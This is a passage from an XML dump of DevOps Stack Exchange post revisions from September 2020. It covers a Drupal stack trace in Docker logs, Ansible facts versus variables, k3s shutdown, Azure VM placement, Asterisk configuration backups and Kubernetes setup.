Drupal\\block\\BlockPluginCollection-&gt;__construct(Object(Drupal\\Core\\Block\\BlockManager), 'rsvp_block', Array, 'rsvpblock')\n#15 /opt/drupal/web/core/modules/block/src/Entity/Block.php(145): Drupal\\block\\Entity\\Block-&gt;getPluginCollection()\n#16 /opt/drupal/web/core/modules/block/src/BlockAccessControlHandler.php(118): Drupal\\block\\Entity\\Block-&gt;getPlugin()\n#17 /opt/drupal/web/core/lib/Drupal/Core/Entity/EntityAccessControlHandler.php(105): Drupal\\block\\BlockAccessControlHandler-&gt;checkAccess(Object(Drupal\\block\\Entity\\Block), 'view', Object(Drupal\\Core\\Session\\AccountProxy))\n#18 /opt/drupal/web/core/lib/Drupal/Core/Entity/EntityBase.php(314): Drupal\\Core\\Entity\\EntityAccessControlHandler-&gt;access(Object(Drupal\\block\\Entity\\Block), 'view', Object(Drupal\\Core\\Session\\AccountProxy), true)\n#19 /opt/drupal/web/core/modules/block/src/BlockRepository.php(56): Drupal\\Core\\Entity\\EntityBase-&gt;access('view', NULL, true)\n#20 /opt/drupal/web/core/modules/block/src/Plugin/DisplayVariant/BlockPageVariant.php(137): Drupal\\block\\BlockRepository-&gt;getVisibleBlocksPerRegion(Array)\n#21 /opt/drupal/web/core/lib/Drupal/Core/Render/MainContent/HtmlRenderer.php(259): Drupal\\block\\Plugin\\DisplayVariant\\BlockPageVariant-&gt;build()\n#22 /opt/drupal/web/core/lib/Drupal/Core/Render/MainContent/HtmlRenderer.php(117): Drupal\\Core\\Render\\MainContent\\HtmlRenderer-&gt;prepare(Array, Object(Symfony\\Component\\HttpFoundation\\Request), Object(Drupal\\Core\\Routing\\CurrentRouteMatch))\n#23 /opt/drupal/web/core/lib/Drupal/Core/EventSubscriber/MainContentViewSubscriber.php(90): Drupal\\Core\\Render\\MainContent\\HtmlRenderer-&gt;renderResponse(Array, Object(Symfony\\Component\\HttpFoundation\\Request), Object(Drupal\\Core\\Routing\\CurrentRouteMatch))\n#24 /opt/drupal/vendor/symfony/event-dispatcher/LegacyEventDispatcherProxy.php(78): Drupal\\Core\\EventSubscriber\\MainContentViewSubscriber-&gt;onViewRenderArray(Object(Symfony\\Component\\HttpKernel\\Event\\ViewEvent), 'kernel.view', Object(Symfony\\Component\\EventDispatcher\\LegacyEventDispatcherProxy))\n#25 /opt/drupal/vendor/symfony/http-kernel/HttpKernel.php(163): Symfony\\Component\\EventDispatcher\\LegacyEventDispatcherProxy-&gt;dispatch(Object(Symfony\\Component\\HttpKernel\\Event\\ViewEvent), 'kernel.view')\n#26 /opt/drupal/vendor/symfony/http-kernel/HttpKernel.php(80): Symfony\\Component\\HttpKernel\\HttpKernel-&gt;handleRaw(Object(Symfony\\Component\\HttpFoundation\\Request), 1)\n#27 /opt/drupal/web/core/lib/Drupal/Core/StackMiddleware/Session.php(57): Symfony\\Component\\HttpKernel\\HttpKernel-&gt;handle(Object(Symfony\\Component\\HttpFoundation\\Request), 1, true)\n#28 /opt/drupal/web/core/lib/Drupal/Core/StackMiddleware/KernelPreHandle.php(47): Drupal\\Core\\StackMiddleware\\Session-&gt;handle(Object(Symfony\\Component\\HttpFoundation\\Request), 1, true)\n#29 /opt/drupal/web/core/modules/page_cache/src/StackMiddleware/PageCache.php(106): Drupal\\Core\\StackMiddleware\\KernelPreHandle-&gt;handle(Object(Symfony\\Component\\HttpFoundation\\Request), 1, true)\n#30 /opt/drupal/web/core/modules/page_cache/src/StackMiddleware/PageCache.php(85): Drupal\\page_cache\\StackMiddleware\\PageCache-&gt;pass(Object(Symfony\\Component\\HttpFoundation\\Request), 1, true)\n#31 /opt/drupal/web/core/lib/Drupal/Core/StackMiddleware/ReverseProxyMiddleware.php(47): Drupal\\page_cache\\StackMiddleware\\PageCache-&gt;handle(Object(Symfony\\Component\\HttpFoundation\\Request), 1, true)\n#32 /opt/drupal/web/core/lib/Drupal/Core/StackMiddleware/NegotiationMiddleware.php(52): Drupal\\Core\\StackMiddleware\\ReverseProxyMiddleware-&gt;handle(Object(Symfony\\Component\\HttpFoundation\\Request), 1, true)\n#33 /opt/drupal/vendor/stack/builder/src/Stack/StackedHttpKernel.php(23): Drupal\\Core\\StackMiddleware\\NegotiationMiddleware-&gt;handle(Object(Symfony\\Component\\HttpFoundation\\Request), 1, true)\n#34 /opt/drupal/web/core/lib/Drupal/Core/DrupalKernel.php(705): Stack\\StackedHttpKernel-&gt;handle(Object(Symfony\\Component\\HttpFoundation\\Request), 1, true)\n#35 /opt/drupal/web/index.php(19): Drupal\\Core\\DrupalKernel-&gt;handle(Object(Symfony\\Component\\HttpFoundation\\Request))\n#36 {main}, referer: http://localhost/node/100/edit&#xD;&#xA;    172.19.0.1 - - [12/Sep/2020:02:19:18 +0000] &quot;GET /node/100 HTTP/1.1&quot; 500 337 &quot;http://localhost/node/100/edit&quot; &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36&quot;&#xD;&#xA;&#xD;&#xA;I am unsure whether this is a &quot;Docker&quot; or a &quot;Unix&quot; question. Ideally there would be some kind of setting I can use to make `docker run` respect unix line endings, but I'm also open to other solutions." ContentLicense="CC BY-SA 4.0" />
  <row Id="38046" PostHistoryTypeId="1" PostId="12392" RevisionGUID="ff7902ba-3e8a-4bd2-a64e-1a72906ebc8d" CreationDate="2020-09-12T02:37:10.673" UserId="23911" Text="How do I convert &quot;\n&quot; to linebreaks in my docker logs?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38047" PostHistoryTypeId="3" PostId="12392" RevisionGUID="ff7902ba-3e8a-4bd2-a64e-1a72906ebc8d" CreationDate="2020-09-12T02:37:10.673" UserId="23911" Text="&lt;docker&gt;&lt;linux&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38048" PostHistoryTypeId="5" PostId="12386" RevisionGUID="97e14d12-ac24-4b16-a197-a182b024c36e" CreationDate="2020-09-12T06:06:44.733" UserId="2704" Comment="added 248 characters in body" Text="While I'm using Ansible for quite some time, I'm not sure I really understand the differences between a variable and a fact.&#xD;&#xA;&#xD;&#xA;Would it be any difference doing&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;- set_fact:&#xD;&#xA;    nginx_ssl: /etc/nginx/ssl&#xD;&#xA;    nginx_conf_file: /etc/nginx/nginx.conf&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;or &#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;  vars:&#xD;&#xA;    nginx_ssl: /etc/nginx/ssl&#xD;&#xA;    nginx_conf_file: /etc/nginx/nginx.conf&#xD;&#xA;```&#xD;&#xA;Could someone explain me, possibly with an example where it really make a difference ?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38049" PostHistoryTypeId="2" PostId="12393" RevisionGUID="42ef4600-7726-4fa6-9846-5b6becdaa17f" CreationDate="2020-09-12T07:06:42.037" UserId="354" Text="Not to contradict anything written in [@Ceshadri_C's answer](https://devops.stackexchange.com/a/12389/354), but to focus more on the difference between facts and variables - perhaps the [variable precedence](https://docs.ansible.com/ansible/latest/user_guide/playbooks_variables.html#variable-precedence-where-should-i-put-a-variable) page could be of greater insight. &#xD;&#xA;&#xD;&#xA;**The difference between facts and variables set is defined by their precedence**, _i.e._ all variables are important, but some variables are more important than others. In your case, _the same variable_ set as a fact (priority 19) would take precedence declared as a variable in a task (priority 17) or play (priority 12)." ContentLicense="CC BY-SA 4.0" />
  <row Id="38050" PostHistoryTypeId="5" PostId="12389" RevisionGUID="8b6c121a-bd14-406a-86e6-a21475f5e796" CreationDate="2020-09-12T09:16:42.770" UserId="23904" Comment="update to original question scenario" Text="Ansible **facts** are data collected about the (target) systems on which Ansible takes actions. They are variables, but set by Ansible (in a way like ***system defined variables***). They are collected during `Gathering Facts` stage of a playbook run, and it is controlled by the `gather_facts` setting. Ansible calls this [variables discovered from systems](https://docs.ansible.com/ansible/latest/user_guide/playbooks_variables.html#id26). That said, it is possible to set custom facts also.&#xD;&#xA;&#xD;&#xA;Some examples are:&#xD;&#xA;&#xD;&#xA;* `ansible_hostname` - the FQDN of the target system&#xD;&#xA;* `ansible_os_family` - the Operating System family of target system (RedHat, Debian, etc.)&#xD;&#xA;&#xD;&#xA;The other **variables** are the ones we can set as per our requirement (in a way like ***user defined variables***).&#xD;&#xA;&#xD;&#xA;Some examples are:&#xD;&#xA;&#xD;&#xA;* `my_fav_fruits: [ 'orange', 'apple', 'banana' ]` - yours might differ. &#xD;&#xA;* `config_dir: '/etc/my_app/conf.d'` - for my application configuration files.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Update:**&#xD;&#xA;&#xD;&#xA;*Updating answer to make it relevant to the edit(s) made in question.*&#xD;&#xA;&#xD;&#xA;As [@Bruce Becker's answer](https://devops.stackexchange.com/a/12393/23904) rightly pointed out, there is a difference in the precedence of variables set with `set_fact`. Also variables that need to be set at &quot;run time&quot; can be set this way. Without further explanation, taking your example variables, if I create a play like below:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;- hosts: localhost&#xD;&#xA;  vars:&#xD;&#xA;    nginx_ssl: '/etc/nginx/ssl'&#xD;&#xA;    nginx_conf_file: '/etc/nginx/nginx.conf'&#xD;&#xA;&#xD;&#xA;  tasks:&#xD;&#xA;  - name: set nginx path to /opt when running on Debian&#xD;&#xA;    set_fact:&#xD;&#xA;      nginx_ssl: '/opt/nginx/ssl'&#xD;&#xA;      nginx_conf_file: '/etc/nginx/nginx.conf'&#xD;&#xA;    when: ansible_distribution == 'Debian'&#xD;&#xA;  - debug:&#xD;&#xA;      msg: 'ssl: {{ nginx_ssl }} and conf: {{ nginx_conf }}'&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Then the `set_fact` variables will take precedence (on Debian) and output will be:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&quot;msg&quot;: &quot;ssl: /opt/nginx/ssl and conf: /opt/nginx/nginx.conf&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;On other distributions, it will be what was declared in `vars:`." ContentLicense="CC BY-SA 4.0" />
  <row Id="38051" PostHistoryTypeId="5" PostId="12389" RevisionGUID="b1e1475e-2460-416b-840c-7fe62064a79d" CreationDate="2020-09-12T14:46:53.757" UserId="23904" Comment="correction in example" Text="Ansible **facts** are data collected about the (target) systems on which Ansible takes actions. They are variables, but set by Ansible (in a way like ***system defined variables***). They are collected during `Gathering Facts` stage of a playbook run, and it is controlled by the `gather_facts` setting. Ansible calls this [variables discovered from systems](https://docs.ansible.com/ansible/latest/user_guide/playbooks_variables.html#id26). That said, it is possible to set custom facts also.&#xD;&#xA;&#xD;&#xA;Some examples are:&#xD;&#xA;&#xD;&#xA;* `ansible_hostname` - the FQDN of the target system&#xD;&#xA;* `ansible_os_family` - the Operating System family of target system (RedHat, Debian, etc.)&#xD;&#xA;&#xD;&#xA;The other **variables** are the ones we can set as per our requirement (in a way like ***user defined variables***).&#xD;&#xA;&#xD;&#xA;Some examples are:&#xD;&#xA;&#xD;&#xA;* `my_fav_fruits: [ 'orange', 'apple', 'banana' ]` - yours might differ. &#xD;&#xA;* `config_dir: '/etc/my_app/conf.d'` - for my application configuration files.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Update:**&#xD;&#xA;&#xD;&#xA;*Updating answer to make it relevant to the edit(s) made in question.*&#xD;&#xA;&#xD;&#xA;As [@Bruce Becker's answer](https://devops.stackexchange.com/a/12393/23904) rightly pointed out, there is a difference in the precedence of variables set with `set_fact`. Also variables that need to be set at &quot;run time&quot; can be set this way. Without further explanation, taking your example variables, if I create a play like below:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;- hosts: localhost&#xD;&#xA;  vars:&#xD;&#xA;    nginx_ssl: '/etc/nginx/ssl'&#xD;&#xA;    nginx_conf_file: '/etc/nginx/nginx.conf'&#xD;&#xA;&#xD;&#xA;  tasks:&#xD;&#xA;  - name: set nginx path to /opt when running on Debian&#xD;&#xA;    set_fact:&#xD;&#xA;      nginx_ssl: '/opt/nginx/ssl'&#xD;&#xA;      nginx_conf_file: '/opt/nginx/nginx.conf'&#xD;&#xA;    when: ansible_distribution == 'Debian'&#xD;&#xA;  - debug:&#xD;&#xA;      msg: 'ssl: {{ nginx_ssl }} and conf: {{ nginx_conf }}'&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Then the `set_fact` variables will take precedence (on Debian) and output will be:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&quot;msg&quot;: &quot;ssl: /opt/nginx/ssl and conf: /opt/nginx/nginx.conf&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;On other distributions, it will be what was declared in `vars:`." ContentLicense="CC BY-SA 4.0" />
  <row Id="38053" PostHistoryTypeId="5" PostId="12391" RevisionGUID="d705aebc-19db-4452-86e3-effb07471010" CreationDate="2020-09-12T15:54:08.657" UserId="23907" Comment="added links to help " Text="I was getting this error in the Docker installation that installed using &quot;snap&quot; in Ubuntu 18.04. My problem was resolved when I uninstalled Docker and installed it as in their official documentation.&#xD;&#xA;&#xD;&#xA;To uninstall Docker (snap): https://askubuntu.com/a/1155962/1063090 &lt;br/&gt;&#xD;&#xA;Docker official installation: https://docs.docker.com/engine/install/ubuntu/" ContentLicense="CC BY-SA 4.0" />
  <row Id="38054" PostHistoryTypeId="5" PostId="12389" RevisionGUID="658252d7-dd09-4eaa-a49d-1c6f02ae2659" CreationDate="2020-09-12T17:42:51.410" UserId="23904" Comment="variable correction in example" Text="Ansible **facts** are data collected about the (target) systems on which Ansible takes actions. They are variables, but set by Ansible (in a way like ***system defined variables***). They are collected during `Gathering Facts` stage of a playbook run, and it is controlled by the `gather_facts` setting. Ansible calls this [variables discovered from systems](https://docs.ansible.com/ansible/latest/user_guide/playbooks_variables.html#id26). That said, it is possible to set custom facts also.&#xD;&#xA;&#xD;&#xA;Some examples are:&#xD;&#xA;&#xD;&#xA;* `ansible_hostname` - the FQDN of the target system&#xD;&#xA;* `ansible_os_family` - the Operating System family of target system (RedHat, Debian, etc.)&#xD;&#xA;&#xD;&#xA;The other **variables** are the ones we can set as per our requirement (in a way like ***user defined variables***).&#xD;&#xA;&#xD;&#xA;Some examples are:&#xD;&#xA;&#xD;&#xA;* `my_fav_fruits: [ 'orange', 'apple', 'banana' ]` - yours might differ. &#xD;&#xA;* `config_dir: '/etc/my_app/conf.d'` - for my application configuration files.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Update:**&#xD;&#xA;&#xD;&#xA;*Updating answer to make it relevant to the edit(s) made in question.*&#xD;&#xA;&#xD;&#xA;As [@Bruce Becker's answer](https://devops.stackexchange.com/a/12393/23904) rightly pointed out, there is a difference in the precedence of variables set with `set_fact`. Also variables that need to be set at &quot;run time&quot; can be set this way. Without further explanation, taking your example variables, if I create a play like below:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;- hosts: localhost&#xD;&#xA;  vars:&#xD;&#xA;    nginx_ssl: '/etc/nginx/ssl'&#xD;&#xA;    nginx_conf_file: '/etc/nginx/nginx.conf'&#xD;&#xA;&#xD;&#xA;  tasks:&#xD;&#xA;  - name: set nginx path to /opt when running on Debian&#xD;&#xA;    set_fact:&#xD;&#xA;      nginx_ssl: '/opt/nginx/ssl'&#xD;&#xA;      nginx_conf_file: '/opt/nginx/nginx.conf'&#xD;&#xA;    when: ansible_distribution == 'Debian'&#xD;&#xA;  - debug:&#xD;&#xA;      msg: 'ssl: {{ nginx_ssl }} and conf: {{ nginx_conf_file }}'&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Then the `set_fact` variables will take precedence (on Debian) and output will be:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&quot;msg&quot;: &quot;ssl: /opt/nginx/ssl and conf: /opt/nginx/nginx.conf&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;On other distributions, it will be what was declared in `vars:`." ContentLicense="CC BY-SA 4.0" />
  <row Id="38055" PostHistoryTypeId="2" PostId="12394" RevisionGUID="e7ba7b2f-72a2-4478-bb5f-3b9ea63337d6" CreationDate="2020-09-12T18:44:47.413" UserId="19083" Text="Set `HTTP_X_FORWARDED_FOR` extra header as allowed in settings and you should be good.&#xD;&#xA;&#xD;&#xA;https://github.com/ansible/awx/issues/8005" ContentLicense="CC BY-SA 4.0" />
  <row Id="38057" PostHistoryTypeId="2" PostId="12395" RevisionGUID="c21c6fb0-7bdb-40ac-9728-3114d2331dd8" CreationDate="2020-09-13T07:29:34.430" UserId="23920" Text="We are currently investigating in replacing our old QuickBuild CI setup with a modern cloud-native solution that is integrated into our k8s cluster. Jenkins X with Tekton (without classic Jenkins) sounds very promising.&#xD;&#xA;&#xD;&#xA;We do not only have k8s applications though. Especially our iOS builds need to be executed on a Mac build node, and thus cannot run in k8s.&#xD;&#xA;&#xD;&#xA;(How) is it possible to integrate a Mac build node into Jenkins X + Tekton?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38058" PostHistoryTypeId="1" PostId="12395" RevisionGUID="c21c6fb0-7bdb-40ac-9728-3114d2331dd8" CreationDate="2020-09-13T07:29:34.430" UserId="23920" Text="Integrate iOS Xcode Build Node with Jenkins X + Tekton" ContentLicense="CC BY-SA 4.0" />
  <row Id="38059" PostHistoryTypeId="3" PostId="12395" RevisionGUID="c21c6fb0-7bdb-40ac-9728-3114d2331dd8" CreationDate="2020-09-13T07:29:34.430" UserId="23920" Text="&lt;ios&gt;&lt;jenkins-x&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38060" PostHistoryTypeId="2" PostId="12396" RevisionGUID="94681bab-f7bf-4124-9229-562c50dc0e1c" CreationDate="2020-09-13T07:47:28.633" UserId="23921" Text="While the backfill is still [in review](https://github.com/prometheus/prometheus/pull/7586) for Prometheus, you can use https://github.com/sepich/thanos-kit/ `import` command to import custom data in prometheus text format to Thanos." ContentLicense="CC BY-SA 4.0" />
  <row Id="38061" PostHistoryTypeId="2" PostId="12397" RevisionGUID="d1b7d046-2691-4327-8481-3121116e03a1" CreationDate="2020-09-13T14:25:52.737" UserId="23924" Text="How Can I move a VM into a resource group by bash CLI in Azure. I found [these instruction in PowerShell](https://docs.microsoft.com/en-us/azure/virtual-machines/windows/proximity-placement-groups) but cannot find any instruction by CLI.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ppg = Get-AzProximityPlacementGroup -ResourceGroupName myPPGResourceGroup -Name myPPG&#xD;&#xA;$vm = Get-AzVM -ResourceGroupName myResourceGroup -Name myVM&#xD;&#xA;Stop-AzVM -Name $vm.Name -ResourceGroupName $vm.ResourceGroupName&#xD;&#xA;Update-AzVM -VM $vm -ResourceGroupName $vm.ResourceGroupName -ProximityPlacementGroupId $ppg.Id&#xD;&#xA;Start-AzVM -Name $vm.Name -ResourceGroupName $vm.ResourceGroupName&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="38062" PostHistoryTypeId="1" PostId="12397" RevisionGUID="d1b7d046-2691-4327-8481-3121116e03a1" CreationDate="2020-09-13T14:25:52.737" UserId="23924" Text="Move an existing VM into a proximity placement group in Azure" ContentLicense="CC BY-SA 4.0" />
  <row Id="38063" PostHistoryTypeId="3" PostId="12397" RevisionGUID="d1b7d046-2691-4327-8481-3121116e03a1" CreationDate="2020-09-13T14:25:52.737" UserId="23924" Text="&lt;azure&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38064" PostHistoryTypeId="50" PostId="12209" RevisionGUID="0f13669c-f7b8-4b4c-88a1-9caa96c42296" CreationDate="2020-09-13T15:05:05.707" UserId="-1" />
  <row Id="38065" PostHistoryTypeId="2" PostId="12398" RevisionGUID="369347a5-33ea-4293-844a-53cb4fd9c005" CreationDate="2020-09-13T19:11:28.250" UserId="23927" Text="I've just installed k3s on my notebook (Ubuntu). Works fine. Great project. However, i do not need it to run 24/7 so, how do I properly shutdown the k3s cluster. Oddly, I cannot find anything about this in the documentation. Thanks " ContentLicense="CC BY-SA 4.0" />
  <row Id="38066" PostHistoryTypeId="1" PostId="12398" RevisionGUID="369347a5-33ea-4293-844a-53cb4fd9c005" CreationDate="2020-09-13T19:11:28.250" UserId="23927" Text="Properly shutdown k3s on local machine" ContentLicense="CC BY-SA 4.0" />
  <row Id="38067" PostHistoryTypeId="3" PostId="12398" RevisionGUID="369347a5-33ea-4293-844a-53cb4fd9c005" CreationDate="2020-09-13T19:11:28.250" UserId="23927" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38068" PostHistoryTypeId="2" PostId="12399" RevisionGUID="6f9959d3-7cc6-473e-9e54-5a81d7a7c512" CreationDate="2020-09-14T03:15:51.913" UserId="23898" Text="I believe your `hosts` is set to `k8s01` or other group not containing k8s02 and&#xD;&#xA;k8s03.  &#xD;&#xA;That's why they are not run.  &#xD;&#xA;&#xD;&#xA;You shall add `with_items: &quot;{{ groups['managers'] }}&quot;` as you done in the second task `-name: Set join command for managers`.  &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- name: Join managers into cluster      &#xD;&#xA;  shell: &quot;{{ kubernetes_join_command_controlplane.stdout }}&quot;&#xD;&#xA;  args:&#xD;&#xA;    warn: no&#xD;&#xA;  when: inventory_hostname != groups['managers'][0] and inventory_hostname in groups['managers']&#xD;&#xA;  with_items: &quot;{{ groups['managers'] }}&quot; &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Alternatively, depending on your design and scope.&#xD;&#xA;Do as answer from Botka and set the hosts as:  &#xD;&#xA;`hosts: all`  &#xD;&#xA;or  &#xD;&#xA;`hosts: managers`  " ContentLicense="CC BY-SA 4.0" />
  <row Id="38069" PostHistoryTypeId="5" PostId="12399" RevisionGUID="a043e36b-c1e8-4c81-9d88-b1b0408c3600" CreationDate="2020-09-14T03:22:19.393" UserId="23898" Comment="added 66 characters in body" Text="I believe your `hosts` is set to `k8s01` or other group not containing k8s02 and&#xD;&#xA;k8s03.  &#xD;&#xA;That's why they are not run.  &#xD;&#xA;&#xD;&#xA;You shall add `with_items: &quot;{{ groups['managers'] }}&quot;` and delegate as you done in the second task `-name: Set join command for managers`.  &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- name: Join managers into cluster      &#xD;&#xA;  shell: &quot;{{ kubernetes_join_command_controlplane.stdout }}&quot;&#xD;&#xA;  args:&#xD;&#xA;    warn: no&#xD;&#xA;  when: inventory_hostname != groups['managers'][0] and inventory_hostname in groups['managers']&#xD;&#xA;  delegate_to: &quot;{{ item }}&quot;&#xD;&#xA;  delegate_facts: true&#xD;&#xA;  with_items: &quot;{{ groups['managers'] }}&quot; &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Alternatively, depending on your design and scope.&#xD;&#xA;Do as answer from Botka and set the hosts as:  &#xD;&#xA;`hosts: all`  &#xD;&#xA;or  &#xD;&#xA;`hosts: managers`  " ContentLicense="CC BY-SA 4.0" />
  <row Id="38070" PostHistoryTypeId="2" PostId="12400" RevisionGUID="7d96b5fe-11a3-4733-bf66-d57cc970b665" CreationDate="2020-09-14T06:02:54.997" UserId="354" Text="There is a systemd shutdown task (`/etc/systemd/system/k3s.service`) which stops the server, but not the k8s resources (pods, networks, etc). For this there is a utility script `k3s-killall.sh` which should be at `/usr/local/bin/k3s-killall.sh`" ContentLicense="CC BY-SA 4.0" />
  <row Id="38071" PostHistoryTypeId="2" PostId="12401" RevisionGUID="76b96132-691f-477b-997a-f52c95fa7961" CreationDate="2020-09-14T07:04:51.120" UserId="7953" Text="Try to read logs as follows:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;docker logs -f &lt;container-name or container-ID&gt; 2&gt;&amp;1&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;[**NOTE**]:&#xD;&#xA;&#xD;&#xA; - `-f` option follows live logs.&#xD;&#xA; - `2&gt;&amp;1` makes output to stdout for example is useful for gripping. &#xD;&#xA;&#xD;&#xA; " ContentLicense="CC BY-SA 4.0" />
  <row Id="38072" PostHistoryTypeId="5" PostId="12401" RevisionGUID="2045dedd-bbc6-4983-aa30-754223637d5a" CreationDate="2020-09-14T07:17:00.357" UserId="7953" Comment="update" Text="Try to read logs as follows:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;docker logs -f &lt;container-name or container-ID&gt; 2&gt;&amp;1&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;[**NOTE**]:&#xD;&#xA;&#xD;&#xA; - `-f` option follows live logs.&#xD;&#xA; - `2&gt;&amp;1` makes output as `stdout` and `stderr` which is useful for gripping and standardize. &#xD;&#xA;&#xD;&#xA; " ContentLicense="CC BY-SA 4.0" />
  <row Id="38073" PostHistoryTypeId="2" PostId="12402" RevisionGUID="9339e315-933a-4cf5-a521-483c0a8d7267" CreationDate="2020-09-14T08:37:52.090" UserId="23443" Text="How would I use `git` or similar `version control` software to backup the [configuration][1] for an `Asterisk` VoIP SIP server?&#xD;&#xA;&#xD;&#xA;see also:&#xD;&#xA;&#xD;&#xA;https://en.wikipedia.org/wiki/Asterisk_(PBX)&#xD;&#xA;&#xD;&#xA;https://support.telosalliance.com/article/mpxcyksyf3-how-to-backup-and-restore-free-pbx-asterisk-configuration&#xD;&#xA;&#xD;&#xA;https://wiki.freepbx.org/pages/viewpage.action?pageId=9830568&#xD;&#xA;&#xD;&#xA;https://wiki.asterisk.org/wiki/display/AST/Asterisk+Backups&#xD;&#xA;&#xD;&#xA;https://wiki.asterisk.org/wiki/display/AST/Directory+and+File+Structure&#xD;&#xA;&#xD;&#xA;https://www.freepbxhosting.com/blog/complete-freepbx-backup/&#xD;&#xA;&#xD;&#xA;https://community.spiceworks.com/topic/2067607-backup-and-restore?login_from=%7C%20google%20%7C%20MVPReg1&#xD;&#xA;&#xD;&#xA;https://www.kingcomputer.com.au/how-to-backup-and-restore-elastix-asterisk-configuration-on-cent-os-to-another-server/&#xD;&#xA;&#xD;&#xA;https://www.reddit.com/r/Asterisk/comments/2z2608/how_are_you_backing_up_your_asterisk_system/&#xD;&#xA;&#xD;&#xA;I'm mostly concerned with the [configuration][1] files and would prefer git, but also don't want to muck up the running of `Asterisk` itself.  &#xD;&#xA;&#xD;&#xA;Backing up an internal`MySQL` database, voicemails, etc would be outside the scope of the question, and, again, only really looking at the [configuration][1] files.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.asterisk.org/wiki/display/AST/Asterisk+Configuration+Files" ContentLicense="CC BY-SA 4.0" />
  <row Id="38074" PostHistoryTypeId="1" PostId="12402" RevisionGUID="9339e315-933a-4cf5-a521-483c0a8d7267" CreationDate="2020-09-14T08:37:52.090" UserId="23443" Text="How to backup an Asterisk configuration with git?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38075" PostHistoryTypeId="3" PostId="12402" RevisionGUID="9339e315-933a-4cf5-a521-483c0a8d7267" CreationDate="2020-09-14T08:37:52.090" UserId="23443" Text="&lt;git&gt;&lt;backup&gt;&lt;data&gt;&lt;software-recommendation&gt;&lt;vcs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38076" PostHistoryTypeId="2" PostId="12403" RevisionGUID="15b1bf2d-70ec-412f-8cec-e0a03b4cd8e1" CreationDate="2020-09-14T09:18:01.407" UserId="23443" Text="From thirty-thousand-feet, how would I [use][1] an existing `ansible` playbook in the [context][2] of `Asterisk` using `Kubernetes`?&#xD;&#xA;&#xD;&#xA;Or, coming at this in a [step-wise][3] fashion, what's the smallest indivisible portion to start for a bottom-up `DevOps` approach?  Concretely:  start with `ansible` or `kubernetes`?&#xD;&#xA;&#xD;&#xA;I'm also [looking][4] at `Kamailio` for down the road, and this isn't unrelated to [configuration][5] for `Asterisk`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://webrtc.ventures/2019/11/using-ansible-to-run-your-webrtc-asterisk-based-application/&#xD;&#xA;  [2]: https://astricon2018.sched.com/event/Fml2/automating-asterisk-on-kubernetes-openshift-okd-session-2-ansible-playbooks-bundles&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/Top-down_and_bottom-up_design&#xD;&#xA;  [4]: https://nickvsnetworking.com/kamailio-bytes-ansible-for-automating-deployments/&#xD;&#xA;  [5]: https://devops.stackexchange.com/q/12402/23443" ContentLicense="CC BY-SA 4.0" />
  <row Id="38077" PostHistoryTypeId="1" PostId="12403" RevisionGUID="15b1bf2d-70ec-412f-8cec-e0a03b4cd8e1" CreationDate="2020-09-14T09:18:01.407" UserId="23443" Text="How to automate Asterisk on Kubernetes with Ansible?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38078" PostHistoryTypeId="3" PostId="12403" RevisionGUID="15b1bf2d-70ec-412f-8cec-e0a03b4cd8e1" CreationDate="2020-09-14T09:18:01.407" UserId="23443" Text="&lt;kubernetes&gt;&lt;ansible&gt;&lt;containers&gt;&lt;deployment&gt;&lt;automation&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38079" PostHistoryTypeId="5" PostId="12211" RevisionGUID="4bdd1a11-56cf-4996-8830-974464c73158" CreationDate="2020-09-14T09:28:44.837" UserId="23904" Comment="make answer clearer" Text="Found the issue, had:&#xD;&#xA;&#xD;&#xA;```shell&#xD;&#xA;kubectl -n jenkins patch serviceaccount jenkins -p '{&quot;imagePullSecrets&quot;: [{&quot;name&quot;: &quot;gcr-json-key&quot;}]}' &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;... applied on `default` serviceaccount instead of `jenkins`." ContentLicense="CC BY-SA 4.0" />
